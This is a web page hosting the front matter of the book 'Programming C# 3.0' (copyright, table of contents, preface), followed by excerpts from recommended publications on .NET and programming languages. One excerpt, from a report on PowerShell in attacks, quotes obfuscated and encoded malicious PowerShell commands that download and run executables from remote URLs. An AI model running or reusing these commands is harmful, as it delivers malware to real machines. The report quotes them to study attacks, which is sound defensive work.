Programming C# 3.0

Total Page:16

File Type:pdf, Size:1020Kb

Programming C# 3.0 FIFTH EDITION Programming C# 3.0 Jesse Liberty and Donald Xie Beijing • Cambridge • Farnham • Köln • Paris • Sebastopol • Taipei • Tokyo Programming C# 3.0, Fifth Edition by Jesse Liberty and Donald Xie Copyright © 2008 O’Reilly Media, Inc. All rights reserved. Printed in the United States of America. Published by O’Reilly Media, Inc., 1005 Gravenstein Highway North, Sebastopol, CA 95472. O’Reilly books may be purchased for educational, business, or sales promotional use. Online editions are also available for most titles (safari.oreilly.com). For more information, contact our corporate/institutional sales department: (800) 998-9938 or [email protected]. Editor: John Osborn Indexer: Angela Howard Developmental Editor: Brian MacDonald Cover Designer: Karen Montgomery Production Editor: Sumita Mukherji Interior Designer: David Futato Copyeditor: Audrey Doyle Illustrator: Jessamyn Read Proofreader: Sumita Mukherji Printing History: July 2001: First Edition. February 2002: Second Edition. May 2003: Third Edition. February 2005: Fourth Edition. December 2007: Fifth Edition. Nutshell Handbook, the Nutshell Handbook logo, and the O’Reilly logo are registered trademarks of O’Reilly Media, Inc. Programming C# 3.0, the image of an African crowned crane, and related trade dress are trademarks of O’Reilly Media, Inc. Java™ is a trademark of Sun Microsystems, Inc. Microsoft, MSDN, the .NET logo, Visual Basic, Visual C++, Visual Studio, and Windows are registered trademarks of Microsoft Corporation. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O’Reilly Media, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. While every precaution has been taken in the preparation of this book, the publisher and authors assume no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein. This book uses RepKover™, a durable and flexible lay-flat binding. ISBN-10: 0-596-52743-8 ISBN-13: 978-0-596-52743-3 [M] Table of Contents Preface . ix Part I. The C# Language 1. C# 3.0 and .NET 3.5 . 3 The Evolution of C# 3 The C# Language 4 The .NET Platform 6 2. Getting Started: “Hello World” . 7 Classes, Objects, and Types 7 Developing “Hello World” 14 Using the Visual Studio 2008 Debugger 18 3. C# Language Fundamentals . 21 Types 21 Variables and Constants 25 Whitespace 33 Statements 33 Operators 49 Preprocessor Directives 59 4. Classes and Objects . 61 Defining Classes 62 Creating Objects 67 Using Static Members 75 Destroying Objects 79 Passing Parameters 83 iii Overloading Methods and Constructors 89 Encapsulating Data with Properties 92 readonly Fields 96 5. Inheritance and Polymorphism . 98 Specialization and Generalization 98 Inheritance 101 Polymorphism 102 Abstract Classes 109 The Root of All Types: Object 113 Nesting Classes 115 6. Operator Overloading . 118 Using the operator Keyword 118 Supporting Other .NET Languages 119 Creating Useful Operators 120 Logical Pairs 120 The Equality Operator 120 Conversion Operators 121 Putting Operators to Work 121 7. Structs . 127 Defining Structs 128 Creating Structs 129 8. Interfaces . 132 Defining and Implementing an Interface 132 Overriding Interface Implementations 147 Explicit Interface Implementation 151 9. Arrays, Indexers, and Collections . 156 Arrays 156 The foreach Statement 162 Indexers 177 Collection Interfaces 186 Constraints 190 List<T> 195 Queues 206 Stacks 208 Dictionaries 211 iv | Table of Contents 10. Strings and Regular Expressions . 214 Strings 215 Regular Expressions 229 11. Exceptions . 241 Throwing and Catching Exceptions 242 Exception Objects 252 12. Delegates and Events . 256 Events 256 Events and Delegates 257 Anonymous Methods 271 Part II. C# and Data 13. Introducing LINQ . 279 Defining and Executing a Query 280 LINQ and C# 285 Anonymous Types 291 Implicitly Typed Local Variables 291 Extension Methods 292 Lambda Expressions in LINQ 297 14. Working with XML . 302 XML Basics (A Quick Review) 302 X Stands for eXtensible 304 Creating XML Documents 304 Searching in XML with XPath 311 Searching Using XPathNavigator 322 XML Serialization 329 15. Putting LINQ to Work . 337 Getting Set Up 338 LINQ to SQL Fundamentals 339 Using Visual Studio LINQ to SQL Designer 344 Retrieving Data 349 Updating Data Using LINQ to SQL 353 Deleting Relational Data 358 LINQ to XML 363 Table of Contents | v 16. ADO.NET and Relational Databases . 368 Relational Databases and SQL 368 The ADO.NET Object Model 372 Getting Started with ADO.NET 374 Part III. Programming with C# 17. Programming ASP.NET Applications . 381 Web Forms Fundamentals 381 Creating a Web Form 385 Data Binding 391 18. Programming WPF Applications . 404 WPF in a Very Small Nutshell 404 Building the Application 406 What Have You Learned, Dorothy? 419 19. Programming Windows Forms Applications . 420 Creating the Application 420 Part IV. The CLR and the .NET Framework 20. Attributes and Reflection . 449 Attributes 449 Reflection 456 21. Threads and Synchronization . 465 Threads 466 Synchronization 474 Race Conditions and Deadlocks 485 22. Streams . 487 Files and Directories 488 Reading and Writing Data 499 Asynchronous I/O 506 Network I/O 511 Web Streams 527 Serialization 529 Isolated Storage 538 vi | Table of Contents 23. Programming .NET and COM . 542 Importing ActiveX Controls 542 P/Invoke 551 Pointers 554 C# Keywords . 561 Index . 569 Table of Contents | vii Preface1 In 2000, .NET revolutionized the way we create both web and Windows applica- tions. .NET 2.0 was a dramaticincrementalimprovement over .NET 1.0. This book covers C# 3.0 and .NET 3.5, and this time we are looking at an even more significant set of changes. C# 3.0 introduces a new generation of changes to a framework that takes an enor- mous leap forward, revolutionizing the way we program Windows applications, web services, and, to a lesser degree, web applications. In 2000, I wrote in the first edition of this book that Microsoft had “bet the com- pany” on .NET. It was a good bet. In 2007, I bet my career on .NET by joining Microsoft as senior program manager in the Silverlight Development Division. Because one way (my preferred way) to program Silverlight is with C#, I have the opportunity to stay very current with this mature yet rapidly evolving language. It is an exciting time for C#; version 3.0 adds a number of tremendously useful features, and the newest edition of Visual Studio makes programming with these features eas- ier than ever. It is my goal that you’ll find Programming C# 3.0 to be of great use whether this is your first exposure to .NET programming, or you’ve been at it for some time. I’ll start with the fundamentals, and introduce new additions to the language not as obscure add-ons, but as the integrated features that they are. If you are already a C# 2.0 programmer, feel free to skim through the parts you know. The new features are called out by appropriate headings; you won’t inadvert- ently skip over them. But be sure to reread Chapter 12, and all of Parts II and III. ix C# and .NET The programming language of choice for .NET is C#, which builds on the lessons learned from C (high performance), C++ (object-oriented structure), Java™ (gar- bage collection, high security), and Visual Basic (rapid development) to create a language ideally suited for developing component-based, n-tier, distributed Windows client and web applications. C# 3.0 brings greatly enhanced features and a powerful new development environ- ment. It is the crowning achievement of Microsoft’s R&D investment. It is wicked cool. About This Book This book is a tutorial, both on C# and on writing .NET applications with C#. If you are a proficient C# 2.0 programmer, and all you want to know is what is new in C# 3.0, put this book down, buy Programming .NET 3.5 by myself and Alex Horovitz (O’Reilly), and then read a lot about Language-Integrated Query (LINQ). You’ll get by. If, on the other hand, you want to brush up on your C# skills, or you are proficient in another programming language such as C++ or Java, or even if C# is your first programming language, this book is for you. Note that for this edition I have been joined by a second author: Donald Xie. Donald and I have worked together on a number of books for the past decade. He is smart, diligent, and careful, and much of the work of this book is his, but every word in this book is mine. Donald wrote and rewrote much of the new material, but he did so knowing that I would then rewrite it so that this book speaks with a single voice. I think it is imperative for a tutorial such as this to speak from the mind of a single developer (me) into the mind of another developer (you) with as little distortion as possible. What You Need to Use This Book To make the best use of this book, please obtain the latest release of Visual Studio 2008. Any edition will do, including the Express edition for C#. For Chapter 16, you will want to ensure that SQL Server or SQL Server Express is installed (it is normally installed automatically with Visual Studio), and you’ll want to install the (old) Northwind database that was created for SQL Server 2000, but which works fine with the latest SQL Server editions. To run the Windows Presentation Foundation (WPF) example in Chapter 18, you’ll need to be running Vista, or you’ll need to download the .NET 3.5 runtime. x | Preface All of this is available on the Microsoft web site, at no cost.
Recommended publications
  • Introducing Visual Studio 2010
    INTRODUCING VISUAL STUDIO 2010 DAVID CHAPPELL MAY 2010 SPONSORED BY MICROSOFT CONTENTS Tools and Modern Software Development ............................................................................................ 3 Understanding Visual Studio 2010 ........................................................................................................ 3 The Components of Visual Studio 2010 ................................................................................................... 4 A Closer Look at Team Foundation Server............................................................................................... 5 Work Item Tracking ............................................................................................................................. 7 Version Control .................................................................................................................................... 8 Build Management: Team Foundation Build ...................................................................................... 9 Reporting and Dashboards.................................................................................................................. 9 Using Visual Studio 2010 ..................................................................................................................... 12 Managing Requirements ....................................................................................................................... 12 Architecting a Solution .........................................................................................................................
    [Show full text]
  • Compile-Time Safety and Runtime Performance in Programming Frameworks for Distributed Systems
    Compile-time Safety and Runtime Performance in Programming Frameworks for Distributed Systems lars kroll Doctoral Thesis in Information and Communication Technology School of Electrical Engineering and Computer Science KTH Royal Institute of Technology Stockholm, Sweden 2020 School of Electrical Engineering and Computer Science KTH Royal Institute of Technology TRITA-EECS-AVL-2020:13 SE-164 40 Kista ISBN: 978-91-7873-445-0 SWEDEN Akademisk avhandling som med tillstånd av Kungliga Tekniska Högskolan fram- lägges till offentlig granskning för avläggande av teknologie doktorsexamen i informations- och kommunikationsteknik på fredagen den 6 mars 2020 kl. 13:00 i Sal C, Electrum, Kungliga Tekniska Högskolan, Kistagången 16, Kista. © Lars Kroll, February 2020 Printed by Universitetsservice US-AB IV Abstract Distributed Systems, that is systems that must tolerate partial failures while exploiting parallelism, are a fundamental part of the software landscape today. Yet, their development and design still pose many challenges to developers when it comes to reliability and performance, and these challenges often have a negative impact on developer productivity. Distributed programming frameworks and languages attempt to provide solutions to common challenges, so that application developers can focus on business logic. However, the choice of programming model as provided by a such a framework or language will have significant impact both on the runtime performance of applications, as well as their reliability. In this thesis, we argue for programming models that are statically typed, both for reliability and performance reasons, and that provide powerful abstractions, giving developers the tools to implement fast algorithms without being constrained by the choice of the programming model.
    [Show full text]
  • Porting an Interpreter and Just-In-Time Compiler to the Xscale Architecture
    Porting an Interpreter and Just-In-Time Compiler to the XScale Architecture Malte Hildingson Dept. of Informatics and Mathematics University of Trollhättan / Uddevalla, Sweden E-mail: [email protected] Abstract code conformed to the targeted environment, the makefiles had to be adjusted accordingly. This task was hugely sim- This exploratory study covers the work of porting an in- plified by tools such as autoconf and automake which per- termediate language interpreter to the ARM-based XScale formed the necessary routines for the target platform given architecture. The interpreter is part of the Mono project, an required input parameters, and created makefiles which en- open source effort to create a .NET-compatible development sured that the code was compiled properly. framework. We cover trampolines together with the proce- dure call standard, discuss memory protection and present a 2. Background complete implementation of atomic operations for the ARM architecture. The Mono [11] project, launched in July 2001 by Ximian Inc. [12], is an effort to create an open source imple- mentation of the .NET [13] development framework. The 1. Introduction project includes the Common Language Infrastucture (CLI) [14] virtual machine, a class library for any programming The biggest problem with porting software is finding language conforming to the Common Language Runtime which parts of the software reflect architectural features of (CLR) [15] and compilers that target the CLR. The virtual the hardware that it runs on [1]. The open source movement machine consists of a class loader, garbage collector and has been a benefactor in the sense that standards for porting an interpreter or a just-in-time (JIT) compiler, depending open software have been in demand and developed.
    [Show full text]
  • Object-Oriented Programming in the Beta Programming Language
    OBJECT-ORIENTED PROGRAMMING IN THE BETA PROGRAMMING LANGUAGE OLE LEHRMANN MADSEN Aarhus University BIRGER MØLLER-PEDERSEN Ericsson Research, Applied Research Center, Oslo KRISTEN NYGAARD University of Oslo Copyright c 1993 by Ole Lehrmann Madsen, Birger Møller-Pedersen, and Kristen Nygaard. All rights reserved. No part of this book may be copied or distributed without the prior written permission of the authors Preface This is a book on object-oriented programming and the BETA programming language. Object-oriented programming originated with the Simula languages developed at the Norwegian Computing Center, Oslo, in the 1960s. The first Simula language, Simula I, was intended for writing simulation programs. Si- mula I was later used as a basis for defining a general purpose programming language, Simula 67. In addition to being a programming language, Simula1 was also designed as a language for describing and communicating about sys- tems in general. Simula has been used by a relatively small community for many years, although it has had a major impact on research in computer sci- ence. The real breakthrough for object-oriented programming came with the development of Smalltalk. Since then, a large number of programming lan- guages based on Simula concepts have appeared. C++ is the language that has had the greatest influence on the use of object-oriented programming in industry. Object-oriented programming has also been the subject of intensive research, resulting in a large number of important contributions. The authors of this book, together with Bent Bruun Kristensen, have been involved in the BETA project since 1975, the aim of which is to develop con- cepts, constructs and tools for programming.
    [Show full text]
  • Programming Windows Phone 7 Series
    SPECIAL PREVIEW EXCERPT 2 CONTENT Complete book available Programming Fall 2010 Windows® Phone 7 Charles Petzold PREVIEW CONTENT This excerpt provides early content from a book currently in development, and is still in draft, unedited format. See additional notice below. This document supports a preliminary release of a software product that may be changed substantially prior to final commercial release. This document is provided for informational purposes only and Microsoft makes no warranties, either express or implied, in this document. Information in this document, including URL and other Internet Web site references, is subject to change without notice. The entire risk of the use or the results from the use of this document remains with the user. Unless otherwise noted, the companies, organizations, products, domain names, e-mail addresses, logos, people, places, and events depicted in examples herein are fictitious. No association with any real company, organization, product, domain name, e-mail address, logo, person, place, or event is intended or should be inferred. Complying with all applicable copyright laws is the responsibility of the user. Without limiting the rights under copyright, no part of this document may be reproduced, stored in or introduced into a retrieval system, or transmitted in any form or by any means (electronic, mechanical, photocopying, recording, or otherwise), or for any purpose, without the express written permission of Microsoft Corporation. Microsoft may have patents, patent applications, trademarks, copyrights, or other intellectual property rights covering subject matter in this document. Except as expressly provided in any written license agreement from Microsoft, the furnishing of this document does not give you any license to these patents, trademarks, copyrights, or other intellectual property.
    [Show full text]
  • Postsharp 3.0 Documentation
    PostSharp 3.0 Reference Documentation Copyright SharpCrafters s.r.o. 2013. All rights reserved. Generated on 2013-10-09T22:03:38+02:00 PostSharp 3.0 Documentation 2 PostSharp 3.0 Documentation Table of Contents What's New in PostSharp? 7 Deploying and Configuring PostSharp 13 Requirements 13 Installing PostSharp 14 Deploying License Keys 17 Configuring PostSharp 25 Using PostSharp on a Build Server 32 Restoring packages at build time 33 Upgrading from PostSharp 2 34 Installing PostSharp Unattended 36 Incompatibilities with Other Products 38 Working with Ready-Made Aspects 41 Working with the Diagnostics Pattern Library 41 Working with the Threading Pattern Library 55 Working with the Model Pattern Library 90 Adding Aspects to Code 113 Adding Aspects Declaratively Using Attributes 114 Adding Aspects Using XML 136 Adding Aspects Programmatically using IAspectProvider 137 Developing Custom Aspects 141 Developing Simple Aspects 141 Understanding Aspect Lifetime and Scope 178 Validating Aspect Usage 180 Initializing Aspects 184 Developing Composite Aspects 185 Coping with Several Aspects on the Same Target 201 Targeting Windows Phone, Windows Store or Silverlight 205 Understanding Interception Aspects 206 Understanding Aspect Serialization 208 Testing and Debugging Aspects 210 Advanced 232 Examples 235 Enforcing Design Rules 253 Restricting Interface Implementation 253 Controlling Component Visibility Beyond Private and Internal 258 Developing Custom Architectural Constraints 270 Working with Errors, Warnings, and Messages 281 Ignoring and Escalating Warnings 281 3 PostSharp 3.0 Documentation Emitting Errors, Warnings, and Messages 282 Combining with Other Technologies 285 ASP.NET 285 ILMerge 285 Obfuscation Tools 286 Microsoft Code Analysis (FxCop) 286 4 PostSharp 3.0 Documentation Conceptual Documentation PostSharp is a tool that allows development teams to achieve more with less code in Microsoft .NET: 1.
    [Show full text]
  • Cultures of Programming Understanding the History of Programming Through Controversies and Technical Artifacts
    Cultures of programming Understanding the history of programming through controversies and technical artifacts TOMAS PETRICEK, University of Kent, UK Programming language research does not exist in isolation. Many programming languages are designed to address a particular business problem or as a reflection of more wide-ranging shifts in the computing community. Histories of individual programming languages often take their own contexts for granted, which makes it difficult to connect the dots and understand the history of programming in a holistic way. This paper documents the broader socio-technological context that shapes programming languages. To structure our discussion, we introduce the idea of a culture of programming which embodies a particular perspective on programming. We identify four major cultures: hacker culture, engineering culture, managerial culture and mathematical culture. To understand how the cultures interact and influence the design of programming languages, we look at a number of historical strands in four lectures that comprise this paper. We follow the mathematization of programming, the development of types, discussion on fundamental limits of complex software systems and the methods that help make modern software acceptably reliable. This paper makes two key observations. First, many interesting developments that shape programming languages happen when multiple cultures meet and interact. Those include both the development of new technical artifacts and controversies that change how we think about programming. Second, the cultures of programming retain a strong identity throughout the history. In other words, the existence of multiple cultures of programming is not a sign of an immaturity of the field, but instead, a sign that programming developed a fruitful multi-cultural identity.
    [Show full text]
  • Future Programming Paradigms in the Automotive Industry Ττσσ
    FORSCHUNGSVEREINIGUNG AUTOMOBILTECHNIK E.V. FAT-SCHRIFTENREIHE 287 Future Programming Paradigms in the Automotive Industry ττσσ Future Programming Paradigms in the Automotive Industry Future Forschungsstelle fortiss GmbH Autoren Zaur Molotnikov Konstantin Schorp Vincent Aravantinos Bernhard Schätz Das Forschungsprojekt wurde mit Mitteln der Forschungsvereinigung Automobiltechnik e. V. (FAT) gefördert. Future Programming Paradigms in the Automotive Industry – Report v.1.1 Abstract In this report, we deliver the results of a study on future programming language traits for the automotive industry. We briefly review the current status of programming languages used in automotive and come to the conclusion that an update is needed. This is due to the heavy and various requirements put on automotive software as well as its complexity. We analyze and compare a number of existing languages based on their features and propose some new traits not available in the current wide-spread programming languages, and tools for them in automotive. One conclusion of this study is that “there is no silver bullet”: There is not one single programming language able to directly and adequately cover all the needs of the au- tomotive industry. Also, we do not advise to envisage a single language for the automotive industry to cover all aspects of software development in the future. For the future, we sug- gest research on layers of subdomain-specific programming languages and their interopera- bility. 3 Future Programming Paradigms in the Automotive Industry – Report v.1.1 Zusammenfassung Software wird im Auto immer wichtiger. In Zukunft werden Autos immer mehr Konnektivi- tät, Interaktion mit anderen Systemen und langfristig vollständig autonome Fahrfunktionen bieten.
    [Show full text]
  • Near East University Faculty of Engineering
    NEAR EAST UNIVERSITY FACULTY OF ENGINEERING DEPARTMENT OF COMPUTER ENGINEERING CARGO & TRANSPORTATION APPLICATION SOFTWARE PROGRAM Graduation Project COM-400 Students: Goktug Atac (20020450) Si nan Ozerenler (20010749) Supervisor : Omit Soyer Nicosia - 2006 ~~ "S/;-~ 0 )- :{' :-!, i/JJ f~ \ ct '<'-' ~ \ <'1. ,/:> /!. ACKNOWLEDGEMENT ~~.,, /~ \,,, -- ,<y~ We, Goktug Atac and Sinan Ozerenler are dedicated this thesis to our fami~~~ who have supported us at rough times and have shared our joy at good times through all these months. First, we owe the greatest thanks to our supervisor, Mr. -Omit Soyer, whose encouragement and enthusiasms have been constant sources of inspiration to us. Also his invaluable advices and belief in our work and ourself over the course of this Graduation Project. He is one of the best advisor a student can wish, both as a person and as a mentor. Second, we would like to express our gratitude to Near East University (NEU) for the scholarship that made the work possible. Also special thanks starting from our Dean Prof. Dr Fakhreddin Mamedov , our department chairman Prof. Dr. Dogan Ibrahim , Assoc. Prof. Dr Rahib Abiyev and all other lecturers for the advices and helps. Finally, we would like to thank all our friends for their advices , supports and being with us with a big respect and patience. ABSTRACT Designing software programs is a computer & software Engineering responsibility. Increasing the complexity of the technological process the importance of software and engineers is increasing in the parallel way of technology too. Engineering is the application of science to the needs of humanity. This is accomplished through the application of knowledge, mathematics, and practical experience to the design of useful objects or processes.
    [Show full text]
  • The Increased Use of Powershell in Attacks the Increased Use of Powershell in Attacks 2  Back to Toc
    THE INCREASED USE OF POWERSHELL IN ATTACKS v1.0 powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net. Webclient).DownloadString(‘http://pastebin.com/raw/[REMOVED]’))” powershell.exe -window hidden -enc KABOAG[REMOVED] Cmd.exe /C powershell $random = New-Object System.Random; Foreach($url in @({http://[REMOVED]academy.com/wp-content/themes/twentysixteen/st1. exe},{http://[REMOVED].com.au/wp-content/plugins/espresso-social/st1. exe},{http://[REMOVED].net/wp-includes/st1.exe},{http://[REMOVED]resto. com/wp-content/plugins/wp-super-cache/plugins/st1.exe},{http://[REMOVED]. ru/wp-content/themes/twentyeleven/st1.exe})) { try { $rnd = $random. Next(0, 65536); $path = ‘%tmp%\’ + [string] $rnd + ‘.exe’; (New-Object System.Net.WebClient).DownloadFile($url.ToString(), $path); Start-Process $path; break; } catch { Write-Host $error[0].Exception } } cmd.exe /c pow^eRSheLL^.eX^e ^-e^x^ec^u^tI^o^nP^OLIcY^ ByP^a^S^s -nOProf^I^L^e^ -^WIndoWST^YLe H^i^D^de^N ^(ne^w-O^BJe^c^T ^SY^STeM. Ne^T^.^w^eB^cLie^n^T^).^Do^W^nlo^aDfi^Le(^’http://www. [REMOVED]. top/user.php?f=1.dat’,^’%USERAPPDATA%.eXe’);s^T^ar^T-^PRO^ce^s^S^ ^%USERAPPDATA%.exe powershell.exe iex $env:nlldxwx powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\”[REMOVED]\” )))), [IO.Compression. CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();” powershell.exe -ExecutionPolicy Unrestricted -File “%TEMP%\ps.ps1”
    [Show full text]
  • View Portal Connector Data Sheet
    STRAIGHTFORWARD AND SEAMLESS USER EXPERIENCE FOR PRINTING & SCANNING WITH MICROSOFT® SHAREPOINT®. At-A-Glance With Sharp’s Portal Connector, Sharp OSA-enabled Sharp MFPs can become an essential part of • Straightforward user experience business processes for your organization. Providing seamless integration with Microsoft SharePoint, Portal Connector enables streamlined communication by instantly scaning hard copy documents, and printing documents stored on SharePoint at any connected Sharp MFP on the network. PRINTING FROM SHAREPOINT • Browse document libraries Print from SharePoint • Search function to easily locate EXTEND ACCESSIBILITY TO SHARED INFORMATION a target file Accessibility to mission critical information can be improved with Portal Connector, which allows users to securely and quickly print documents stored on the SharePoint server right from any • Comprehensive print settings support connected Sharp MFP on the network. Users can browse or search files and folders SCANNING FROM SHAREPOINT to easily locate their target documents. • Metadata fields set by site owner/ Scan to SharePoint SharePoint administrator SHARE AND ORGANIZE DOCUMENTS TO MEET DAILY BUSINESS REQUIREMENTS • Document Preview Portal Connector conveniently allows users to scan hard copy documents to pre-defined • Comprehensive scan settings support document libraries with integrated meta-data. Business requirements are maintained while increasing productivity. SECURITY & FLEXIBILITY • Centralized management Security & Flexibility ENSURE COMPLIANCE AND SECURE COLLABORATIONS • Integrated and centrally managed Through a centrally managed access policy and permissions, access to document libraries from SharePoint access policy Portal Connector is secured. In addition, built upon the latest Sharp OSA Web API extended • PaperCut MF™ Single-Sign-On technology, the application supports secure cross-firewall communication, providing flexibility • Extended Sharp OSA platform to enable where the solution is implemented.
    [Show full text]
  • Requirements for a Real-Time .NET Framework A
    Requirements for a Real-Time .NET Framework A. Zerzelidis and A.J. Wellings {alex, andy}@cs.york.ac.uk Department of Computer Science, University of York, U.K. Abstract: The Microsoft .NET Framework is a comparatively new technology that has already gained considerable momentum. Its user base and popularity is expanding. In addition, it offers a number of important traits, such as code portability and cross-language development. It is these features that have attracted our attention into investigating the possibility of using .NET for architecture -neutral real-time systems. As a result, this paper tries to set the groundwork for implementing a real-time version of the Microsoft .NET Framework by specifying a set of requirements. Keywords: architecture-neutral real-time systems, .NET Framework, code portability, programming language integration 1 Introduction With embedded computers becoming more and more omnipresent, and with the world becoming more and more interconnected, there is a need for architecture-neutral real-time systems (a real-time system whose target architecture is unknown at system design time). Also, interconnection increases the possibility that systems developed by different vendors might need to interoperate. And since different vendors could possibly use different implementation languages, there is a need for multi-language working for real-time systems development. The Microsoft .NET Framework offers both an architecture-neutral platform and a multi-language development environment. It is our aim to examine how feasible it is to introduce real-timeliness into .NET. So far there have been few attempts to examine the .NET Framework from a real-time perspective. The two mentioned below examine the .NET Compact Framework in conjunction with Windows CE.
    [Show full text]